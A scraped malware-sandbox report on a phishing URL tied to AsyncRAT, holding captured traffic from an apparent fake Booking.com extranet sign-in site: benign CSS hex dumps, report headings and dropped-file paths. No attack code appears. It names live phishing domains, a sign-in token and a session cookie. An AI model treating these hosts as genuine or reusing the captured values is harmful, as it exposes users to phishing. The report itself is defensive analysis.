2025-04-17 11:24:25 UTC	410	IN	Data Raw: 2f 2a 20 40 6c 69 63 65 6e 73 65 20 47 50 4c 2d 32 2e 30 2d 6f 72 2d 6c 61 74 65 72 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 64 72 75 70 61 6c 2e 6f 72 67 2f 6c 69 63 65 6e 73 69 6e 67 2f 66 61 71 20 2a 2f 0a 2e 74 65 78 74 2d 61 6c 69 67 6e 2d 6c 65 66 74 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 7d 2e 74 65 78 74 2d 61 6c 69 67 6e 2d 72 69 67 68 74 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 72 69 67 68 74 3b 7d 2e 74 65 78 74 2d 61 6c 69 67 6e 2d 63 65 6e 74 65 72 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 7d 2e 74 65 78 74 2d 61 6c 69 67 6e 2d 6a 75 73 74 69 66 79 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 6a 75 73 74 69 66 79 3b 7d 2e 61 6c 69 67 6e 2d 6c 65 66 74 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 7d 2e 61 6c 69 67 6e 2d 72 69 67 68 74 7b 66 Data Ascii: /* @license GPL-2.0-or-later https://www.drupal.org/licensing/faq */.text-align-left{text-align:left;}.text-align-right{text-align:right;}.text-align-center{text-align:center;}.text-align-justify{text-align:justify;}.align-left{float:left;}.align-right{f
2025-04-17 11:24:25 UTC	1369	IN	Data Raw: 20 6c 61 62 65 6c 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 69 6e 6c 69 6e 65 20 2e 64 65 74 61 69 6c 73 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 69 6e 6c 69 6e 65 20 2e 68 69 64 64 65 6e 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7d 0a 2e 63 6c 65 61 72 66 69 78 3a 3a 61 66 74 65 72 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 7d 0a 2e 6a 73 20 64 65 74 61 69 6c 73 3a 6e 6f 74 28 5b 6f 70 65 6e 5d 29 20 2e 64 65 74 61 69 6c 73 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7d 0a 2e 68 69 64 64 65 6e 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7d 2e 76 Data Ascii: label{display:inline-block;}.container-inline .details-wrapper{display:block;}.container-inline .hidden{display:none;}.clearfix::after{display:table;clear:both;content:"";}.js details:not([open]) .details-wrapper{display:none;}.hidden{display:none;}.v
2025-04-17 11:24:25 UTC	1369	IN	Data Raw: 6e 65 2d 62 6c 6f 63 6b 3b 77 69 64 74 68 3a 32 35 70 78 3b 68 65 69 67 68 74 3a 32 35 70 78 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 7d 2e 73 79 73 74 65 6d 2d 73 74 61 74 75 73 2d 63 6f 75 6e 74 65 72 5f 5f 73 74 61 74 75 73 2d 69 63 6f 6e 3a 3a 62 65 66 6f 72 65 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 63 65 6e 74 65 72 20 32 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 2e 73 79 73 74 65 6d 2d 73 74 61 74 75 73 2d 63 6f 75 6e 74 65 72 5f 5f 73 74 61 Data Ascii: ne-block;width:25px;height:25px;vertical-align:middle;}.system-status-counter__status-icon::before{display:block;width:100%;height:100%;content:"";background-repeat:no-repeat;background-position:center 2px;background-size:16px;}.system-status-counter__sta
2025-04-17 11:24:25 UTC	1369	IN	Data Raw: 73 73 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 2e 70 72 6f 67 72 65 73 73 5f 5f 74 72 61 63 6b 7b 6d 69 6e 2d 77 69 64 74 68 3a 31 30 30 70 78 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 36 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 70 78 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 7d 2e 70 72 6f 67 72 65 73 73 5f 5f 62 61 72 7b 77 69 64 74 68 3a 33 25 3b 6d 69 6e 2d 77 69 64 74 68 3a 33 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 36 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 2e 70 72 6f 67 72 65 73 73 5f 5f 64 65 73 63 72 69 70 74 69 6f 6e 2c 2e 70 72 6f 67 72 65 73 Data Ascii: ss{position:relative;}.progress__track{min-width:100px;max-width:100%;height:16px;margin-top:5px;border:1px solid;background-color:#fff;}.progress__bar{width:3%;min-width:3%;max-width:100%;height:16px;background-color:#000;}.progress__description,.progres
2025-04-17 11:24:25 UTC	1369	IN	Data Raw: 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 7d 2e 76 69 65 77 73 2d 61 6c 69 67 6e 2d 72 69 67 68 74 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 72 69 67 68 74 3b 7d 2e 76 69 65 77 73 2d 61 6c 69 67 6e 2d 63 65 6e 74 65 72 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 7d 2e 76 69 65 77 73 2d 76 69 65 77 2d 67 72 69 64 20 2e 76 69 65 77 73 2d 63 6f 6c 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 7d 2e 76 69 65 77 73 2d 76 69 65 77 2d 67 72 69 64 20 2e 76 69 65 77 73 2d 72 6f 77 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 77 69 64 74 68 3a 31 30 30 25 3b 7d 2e 76 69 65 77 73 2d 64 69 73 70 6c 61 79 2d 6c 69 6e 6b 20 2b 20 2e 76 69 65 77 73 2d 64 69 73 70 6c 61 79 2d 6c 69 6e 6b 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 2e 35 65 6d 3b 7d Data Ascii: ext-align:left;}.views-align-right{text-align:right;}.views-align-center{text-align:center;}.views-view-grid .views-col{float:left;}.views-view-grid .views-row{float:left;clear:both;width:100%;}.views-display-link + .views-display-link{margin-left:0.5em;}
2025-04-17 11:24:25 UTC	1369	IN	Data Raw: 72 6f 70 62 75 74 74 6f 6e 20 61 3a 68 6f 76 65 72 2c 2e 6a 73 20 2e 64 72 6f 70 62 75 74 74 6f 6e 20 61 3a 66 6f 63 75 73 7b 6f 75 74 6c 69 6e 65 3a 69 6e 69 74 69 61 6c 3b 7d 2e 6a 73 20 2e 64 72 6f 70 62 75 74 74 6f 6e 2d 6d 75 6c 74 69 70 6c 65 20 2e 64 72 6f 70 62 75 74 74 6f 6e 2d 77 69 64 67 65 74 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 65 6d 3b 7d 2e 6a 73 5b 64 69 72 3d 22 72 74 6c 22 5d 20 2e 64 72 6f 70 62 75 74 74 6f 6e 2d 6d 75 6c 74 69 70 6c 65 20 2e 64 72 6f 70 62 75 74 74 6f 6e 2d 77 69 64 67 65 74 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 65 6d 3b 7d 2e 64 72 6f 70 62 75 74 74 6f 6e 2d 6d 75 6c 74 69 70 6c 65 2e 6f 70 65 6e 2c 2e 64 72 6f 70 62 75 74 74 6f 6e 2d 6d 75 6c 74 69 70 Data Ascii: ropbutton a:hover,.js .dropbutton a:focus{outline:initial;}.js .dropbutton-multiple .dropbutton-widget{padding-right:2em;}.js[dir="rtl"] .dropbutton-multiple .dropbutton-widget{padding-right:0;padding-left:2em;}.dropbutton-multiple.open,.dropbutton-multip
2025-04-17 11:24:25 UTC	1369	IN	Data Raw: 2f 6a 71 75 65 72 79 2d 75 69 2f 31 2e 31 33 2e 32 2f 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 2e 75 69 2d 68 65 6c 70 65 72 2d 68 69 64 64 65 6e 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7d 2e 75 69 2d 68 65 6c 70 65 72 2d 68 69 64 64 65 6e 2d 61 63 63 65 73 73 69 62 6c 65 7b 62 6f 72 64 65 72 3a 30 3b 63 6c 69 70 3a 72 65 63 74 28 30 20 30 20 30 20 30 29 3b 68 65 69 67 68 74 3a 31 70 78 3b 6d 61 72 67 69 6e 3a 2d 31 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 70 61 64 64 69 6e 67 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 77 69 64 74 68 3a 31 70 78 3b 7d 2e 75 69 2d 68 65 6c 70 65 72 2d 72 65 73 65 74 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 62 6f 72 64 65 72 3a 30 3b 6f 75 74 6c 69 6e 65 3a 30 3b Data Ascii: /jquery-ui/1.13.2/LICENSE.txt */.ui-helper-hidden{display:none;}.ui-helper-hidden-accessible{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;}.ui-helper-reset{margin:0;padding:0;border:0;outline:0;
2025-04-17 11:24:25 UTC	1369	IN	Data Raw: 69 64 74 68 3a 31 70 78 20 30 20 30 20 30 3b 7d 2e 75 69 2d 6d 65 6e 75 20 2e 75 69 2d 73 74 61 74 65 2d 66 6f 63 75 73 2c 2e 75 69 2d 6d 65 6e 75 20 2e 75 69 2d 73 74 61 74 65 2d 61 63 74 69 76 65 7b 6d 61 72 67 69 6e 3a 2d 31 70 78 3b 7d 2e 75 69 2d 6d 65 6e 75 2d 69 63 6f 6e 73 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 2e 75 69 2d 6d 65 6e 75 2d 69 63 6f 6e 73 20 2e 75 69 2d 6d 65 6e 75 2d 69 74 65 6d 2d 77 72 61 70 70 65 72 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 65 6d 3b 7d 2e 75 69 2d 6d 65 6e 75 20 2e 75 69 2d 69 63 6f 6e 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b 62 6f 74 74 6f 6d 3a 30 3b 6c 65 66 74 3a 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 20 30 3b 7d 2e 75 69 2d 6d 65 6e 75 20 2e Data Ascii: idth:1px 0 0 0;}.ui-menu .ui-state-focus,.ui-menu .ui-state-active{margin:-1px;}.ui-menu-icons{position:relative;}.ui-menu-icons .ui-menu-item-wrapper{padding-left:2em;}.ui-menu .ui-icon{position:absolute;top:0;bottom:0;left:.2em;margin:auto 0;}.ui-menu .
2025-04-17 11:24:25 UTC	1369	IN	Data Raw: 20 69 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 2e 32 65 6d 3b 7d 2e 65 78 74 6c 69 6e 6b 2d 6e 6f 62 72 65 61 6b 7b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 7d 0a 2e 70 61 72 61 67 72 61 70 68 2d 2d 75 6e 70 75 62 6c 69 73 68 65 64 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 34 66 34 3b 7d 0a 2e 6c 61 79 6f 75 74 2d 2d 6f 6e 65 63 6f 6c 20 2e 6c 61 79 6f 75 74 5f 5f 72 65 67 69 6f 6e 7b 77 69 64 74 68 3a 31 30 30 25 3b 7d 0a 2f 2a 20 40 6c 69 63 65 6e 73 65 20 50 75 62 6c 69 63 20 44 6f 6d 61 69 6e 20 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 6a 71 75 65 72 79 2f 6a 71 75 65 72 79 2d 75 69 2f 31 2e 31 33 2e 32 2f 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f Data Ascii: i{padding-left:0.2em;}.extlink-nobreak{white-space:nowrap;}.paragraph--unpublished{background-color:#fff4f4;}.layout--onecol .layout__region{width:100%;}/* @license Public Domain https://raw.githubusercontent.com/jquery/jquery-ui/1.13.2/LICENSE.txt */
2025-04-17 11:24:25 UTC	1369	IN	Data Raw: 69 2d 73 74 61 74 65 2d 66 6f 63 75 73 2c 2e 75 69 2d 62 75 74 74 6f 6e 3a 68 6f 76 65 72 2c 2e 75 69 2d 62 75 74 74 6f 6e 3a 66 6f 63 75 73 7b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 63 63 63 63 63 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 65 64 65 64 65 64 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 63 6f 6c 6f 72 3a 23 32 62 32 62 32 62 3b 7d 2e 75 69 2d 73 74 61 74 65 2d 68 6f 76 65 72 20 61 2c 2e 75 69 2d 73 74 61 74 65 2d 68 6f 76 65 72 20 61 3a 68 6f 76 65 72 2c 2e 75 69 2d 73 74 61 74 65 2d 68 6f 76 65 72 20 61 3a 6c 69 6e 6b 2c 2e 75 69 2d 73 74 61 74 65 2d 68 6f 76 65 72 20 61 3a 76 69 73 69 74 65 64 2c 2e 75 69 2d 73 74 61 74 65 2d 66 6f 63 75 73 20 61 2c 2e 75 69 2d 73 74 61 74 65 2d 66 6f 63 75 73 20 61 3a 68 6f Data Ascii: i-state-focus,.ui-button:hover,.ui-button:focus{border:1px solid #cccccc;background:#ededed;font-weight:normal;color:#2b2b2b;}.ui-state-hover a,.ui-state-hover a:hover,.ui-state-hover a:link,.ui-state-hover a:visited,.ui-state-focus a,.ui-state-focus a:ho

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://myidverify.s3.us-east-1.amazonaws.com/redirect.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: AsyncRAT

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\RES3E6E.tmp

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5opqgurb.h33.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tjg5ebrn.y3x.ps1

C:\Users\user\AppData\Local\Temp\y00ifih2\CSCF294E1DD957143A7ABBBA2AAFDECA1.TMP

C:\Users\user\AppData\Local\Temp\y00ifih2\y00ifih2.0.cs

Windows Analysis Report
https://myidverify.s3.us-east-1.amazonaws.com/redirect.html

Timestamp	Bytes transferred	Direction	Data
2025-04-17 11:24:24 UTC	963	OUT	GET /static/css_3iFMQAIstg4teIom2wVaOik81XAQ5V-7tH-iz2mq5to.css HTTP/1.1 Host: booking.extranetupdate.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
2025-04-17 11:24:25 UTC	969	IN	HTTP/1.1 200 OK Date: Thu, 17 Apr 2025 11:24:25 GMT Content-Type: text/css Content-Length: 820961 Connection: close Cf-Ray: 931b8e4d2dd0b0d3-ATL Server: cloudflare Last-Modified: Thursday, 17-Apr-2025 11:24:24 GMT Etag: "67268c7f-c86e1" Cache-Control: no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0 Cf-Cache-Status: BYPASS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2WNmWEMooIMu%2BezyAfapwOJ58Lnoumf%2F%2F5QbuTSeRiNWRZNCETeEf7LXa166HPRHznbuocsN4yWThHcVmq1FUWjUra9PZTDdOFlZcJxqDLumiOnBIlAJ6bYzm7hDX7RaRRp3dedIReqBzfg%2Bzw%3D%3D"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=106042&min_rtt=105983&rtt_var=22447&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2843&recv_bytes=1557&delivery_rate=38033&cwnd=252&unsent_bytes=0&cid=7aac3179a87b108e&ts=963&x=0"
2025-04-17 11:24:25 UTC	400	IN	Data Raw: 2f 2a 20 40 6c 69 63 65 6e 73 65 20 47 50 4c 32 2b 20 6e 6f 20 55 52 4c 20 2a 2f 0a 3a 72 6f 6f 74 7b 2d 2d 62 75 69 5f 75 6e 69 74 5f 76 61 6c 75 65 3a 38 3b 2d 2d 62 75 69 5f 75 6e 69 74 5f 73 6d 61 6c 6c 65 72 3a 32 70 78 3b 2d 2d 62 75 69 5f 75 6e 69 74 5f 73 6d 61 6c 6c 3a 34 70 78 3b 2d 2d 62 75 69 5f 75 6e 69 74 5f 6d 65 64 69 75 6d 3a 38 70 78 3b 2d 2d 62 75 69 5f 75 6e 69 74 5f 6c 61 72 67 65 3a 31 36 70 78 3b 2d 2d 62 75 69 5f 75 6e 69 74 5f 6c 61 72 67 65 72 3a 32 34 70 78 3b 2d 2d 62 75 69 5f 75 6e 69 74 5f 6c 61 72 67 65 73 74 3a 33 32 70 78 3b 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 64 65 73 74 72 75 63 74 69 76 65 5f 64 61 72 6b 3a 23 61 33 30 30 30 30 3b 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 64 65 73 74 72 75 63 74 69 76 65 3a 23 63 30 30 3b 2d Data Ascii: /* @license GPL2+ no URL */:root{--bui_unit_value:8;--bui_unit_smaller:2px;--bui_unit_small:4px;--bui_unit_medium:8px;--bui_unit_large:16px;--bui_unit_larger:24px;--bui_unit_largest:32px;--bui_color_destructive_dark:#a30000;--bui_color_destructive:#c00;-
2025-04-17 11:24:25 UTC	1369	IN	Data Raw: 63 35 62 30 31 3b 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 63 61 6c 6c 6f 75 74 3a 23 66 66 38 30 30 30 3b 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 63 61 6c 6c 6f 75 74 5f 6c 69 67 68 74 3a 23 66 66 63 34 38 39 3b 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 63 61 6c 6c 6f 75 74 5f 6c 69 67 68 74 65 72 3a 23 66 66 66 30 65 30 3b 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 63 61 6c 6c 6f 75 74 5f 6c 69 67 68 74 65 73 74 3a 23 66 66 66 38 66 30 3b 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 63 6f 6d 70 6c 65 6d 65 6e 74 5f 64 61 72 6b 3a 23 63 64 38 39 30 30 3b 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 63 6f 6d 70 6c 65 6d 65 6e 74 3a 23 66 65 62 62 30 32 3b 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 63 6f 6d 70 6c 65 6d 65 6e 74 5f 6c 69 67 68 74 3a 23 66 66 65 30 38 61 3b 2d 2d 62 75 69 5f 63 6f 6c 6f Data Ascii: c5b01;--bui_color_callout:#ff8000;--bui_color_callout_light:#ffc489;--bui_color_callout_lighter:#fff0e0;--bui_color_callout_lightest:#fff8f0;--bui_color_complement_dark:#cd8900;--bui_color_complement:#febb02;--bui_color_complement_light:#ffe08a;--bui_colo
2025-04-17 11:24:25 UTC	1369	IN	Data Raw: 68 74 3a 33 32 70 78 3b 2d 2d 62 75 69 5f 66 6f 6e 74 5f 6c 61 72 67 65 73 74 5f 73 69 7a 65 3a 33 32 70 78 3b 2d 2d 62 75 69 5f 66 6f 6e 74 5f 6c 61 72 67 65 73 74 5f 6c 69 6e 65 5f 68 65 69 67 68 74 3a 34 30 70 78 3b 2d 2d 62 75 69 5f 66 6f 6e 74 5f 77 65 69 67 68 74 5f 6e 6f 72 6d 61 6c 3a 34 30 30 3b 2d 2d 62 75 69 5f 66 6f 6e 74 5f 77 65 69 67 68 74 5f 6d 65 64 69 75 6d 3a 35 30 30 3b 2d 2d 62 75 69 5f 66 6f 6e 74 5f 77 65 69 67 68 74 5f 62 6f 6c 64 3a 37 30 30 3b 2d 2d 62 75 69 5f 66 6f 6e 74 5f 73 74 61 63 6b 5f 73 61 6e 73 3a 22 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 22 2c 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 22 53 65 67 6f 65 20 55 49 22 2c 22 52 6f 62 6f 74 6f 22 2c 22 48 65 6c 76 65 74 69 63 61 22 2c 22 41 72 69 61 6c 22 2c Data Ascii: ht:32px;--bui_font_largest_size:32px;--bui_font_largest_line_height:40px;--bui_font_weight_normal:400;--bui_font_weight_medium:500;--bui_font_weight_bold:700;--bui_font_stack_sans:"BlinkMacSystemFont",-apple-system,"Segoe UI","Roboto","Helvetica","Arial",
2025-04-17 11:24:25 UTC	1369	IN	Data Raw: 61 72 65 61 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 53 65 67 6f 65 20 55 49 2c 52 6f 62 6f 74 6f 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 66 6f 72 65 67 72 6f 75 6e 64 29 3b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 76 61 72 28 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 6c 61 72 67 65 5f 66 6f 6e 74 5f 62 6f 64 79 5f 32 5f 66 6f 6e 74 2d 73 69 7a 65 29 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 76 61 72 28 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 6c 61 72 67 65 5f 66 6f 6e 74 5f 62 6f 64 79 5f 32 5f 66 6f 6e 74 2d 77 65 69 Data Ascii: area{font-family:BlinkMacSystemFont,-apple-system,Segoe UI,Roboto,Helvetica,Arial,sans-serif;color:var(--bui_color_foreground);margin:0;font-size:var(--DO_NOT_USE_bui_large_font_body_2_font-size);font-weight:var(--DO_NOT_USE_bui_large_font_body_2_font-wei
2025-04-17 11:24:25 UTC	1369	IN	Data Raw: 66 6f 6e 74 5f 73 74 72 6f 6e 67 5f 32 5f 6c 69 6e 65 2d 68 65 69 67 68 74 29 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 76 61 72 28 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 6c 61 72 67 65 5f 66 6f 6e 74 5f 73 74 72 6f 6e 67 5f 32 5f 66 6f 6e 74 2d 66 61 6d 69 6c 79 29 7d 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 36 37 65 6d 7d 68 31 3a 66 69 72 73 74 2d 63 68 69 6c 64 2c 68 32 3a 66 69 72 73 74 2d 63 68 69 6c 64 2c 68 33 3a 66 69 72 73 74 2d 63 68 69 6c 64 2c 68 34 3a 66 69 72 73 74 2d 63 68 69 6c 64 2c 68 35 3a 66 69 72 73 74 2d 63 68 69 6c 64 2c 68 36 3a 66 69 72 73 74 2d 63 68 69 6c 64 2c 70 3a 66 69 72 73 74 2d 63 68 69 6c 64 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 7d 68 31 3a 6c 61 73 74 Data Ascii: font_strong_2_line-height);font-family:var(--DO_NOT_USE_bui_large_font_strong_2_font-family)}h1,h2,h3,h4,h5,h6{margin-bottom:.67em}h1:first-child,h2:first-child,h3:first-child,h4:first-child,h5:first-child,h6:first-child,p:first-child{margin-top:0}h1:last
2025-04-17 11:24:25 UTC	1369	IN	Data Raw: 69 6c 6c 2d 64 65 73 74 72 75 63 74 69 76 65 2c 2e 62 75 69 5f 66 69 6c 6c 5f 63 61 6c 6c 6f 75 74 2c 2e 62 75 69 5f 66 69 6c 6c 5f 64 65 73 74 72 75 63 74 69 76 65 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 77 68 69 74 65 29 21 69 6d 70 6f 72 74 61 6e 74 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 77 68 69 74 65 29 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 62 75 69 2d 66 2d 66 69 6c 6c 2d 63 61 6c 6c 6f 75 74 2c 2e 62 75 69 5f 66 69 6c 6c 5f 63 61 6c 6c 6f 75 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 63 61 6c 6c 6f 75 74 29 21 69 6d 70 6f 72 74 61 6e 74 3b 66 69 6c 6c 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 63 61 6c Data Ascii: ill-destructive,.bui_fill_callout,.bui_fill_destructive{border-color:var(--bui_color_white)!important;color:var(--bui_color_white)!important}.bui-f-fill-callout,.bui_fill_callout{background-color:var(--bui_color_callout)!important;fill:var(--bui_color_cal
